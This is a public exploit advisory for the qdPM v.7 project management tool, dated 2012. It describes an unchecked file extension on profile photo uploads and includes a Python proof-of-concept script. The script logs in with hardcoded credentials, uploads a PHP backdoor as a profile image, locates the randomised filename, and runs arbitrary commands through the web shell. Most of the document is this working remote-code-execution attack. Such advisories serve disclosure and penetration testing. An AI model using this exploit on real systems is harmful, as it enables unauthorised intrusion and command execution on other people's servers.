###################################################################################### # Exploit qdPM v.7 Arbitrary File upload # Date: June 13th 2012 # Author: loneferret # Version: 7 # Vendor Url: http://qdpm.net/ # Tested on: Winddows XP / XAMPP ###################################################################################### # Discovered by: loneferret ###################################################################################### # Software description: # Free project management tool for small team # qdPM is a free web-based project management tool suitable for a small team working on multiple projects. # It is fully configurable. You can easy manage Projects, Tasks and People. Customers interact # using a Ticket System that is integrated into Task management. # Vulnerability: # Application does not verify the file's extension when uploading an image for a user's profile. # Making it possible to upload a small php shell, and accessing it remotely. # Note(s): # One needs a valid user account to upload the file. (Client will do) # No need to be authenticated to access the file. # Uploading file: # Once logged in, upload file here: # Page: /qdPM/index.php/home/myAccount # Access file: # File can be found here: # /qdPM/uploads/users/ # # Note the filename will contain a random number. One need to # to look at the source code from the browser to find it. # For example: ----- python script ----- #!/usr/bin/python import re, mechanize import urllib, sys print "\n[*] qdPM v.7 Remote Code Execution" print "[*] Vulnerability discovered by loneferret" print "[*] Offensive Security - http://www.offensive-security.com\n" if (len(sys.argv) != 3): print "[*] Usage: poc.py " exit(0) rhost = sys.argv[1] rcmd = sys.argv[2] # Login into site try: print "[*] Loging in ." br = mechanize.Browser() br.open("http://%s/qdPM/index.php/home/login" % rhost) assert br.viewing_html() br.select_form(name="UsersForm") br.select_form(nr=0) br.form['login[email]'] = "loneferret@test.com" br.form['login[password]'] = "123456" print "[*] Hope this works" br.submit() except: print "[*] Oups..." exit(0) # Upload malicious file try: print "[*] Uploading shell .." br.open("http://%s/qdPM/home/myAccount" % rhost) assert br.viewing_html() br.select_form(name="UsersAccountForm") br.select_form(nr=0) br.form.add_file(open('backdoor.php'), "text/plain", "backdoor.php", name="users[photo]") br.submit(nr=0) except: print "[-] Upload didn't work." exit(0) # Get file name once saved try: br.select_form(name="UsersAccountForm") for form in br.forms(): filename = form.controls[9].value print "[*] Filename is now: " + filename url = "http://%s/qdPM/uploads/users " % rhost url += "/%s?cmd=%s" % (filename,rcmd) print "[*] Executing command:\n" resp = urllib.urlopen(url) print resp.read() except: print "[-] Oups..." exit(0)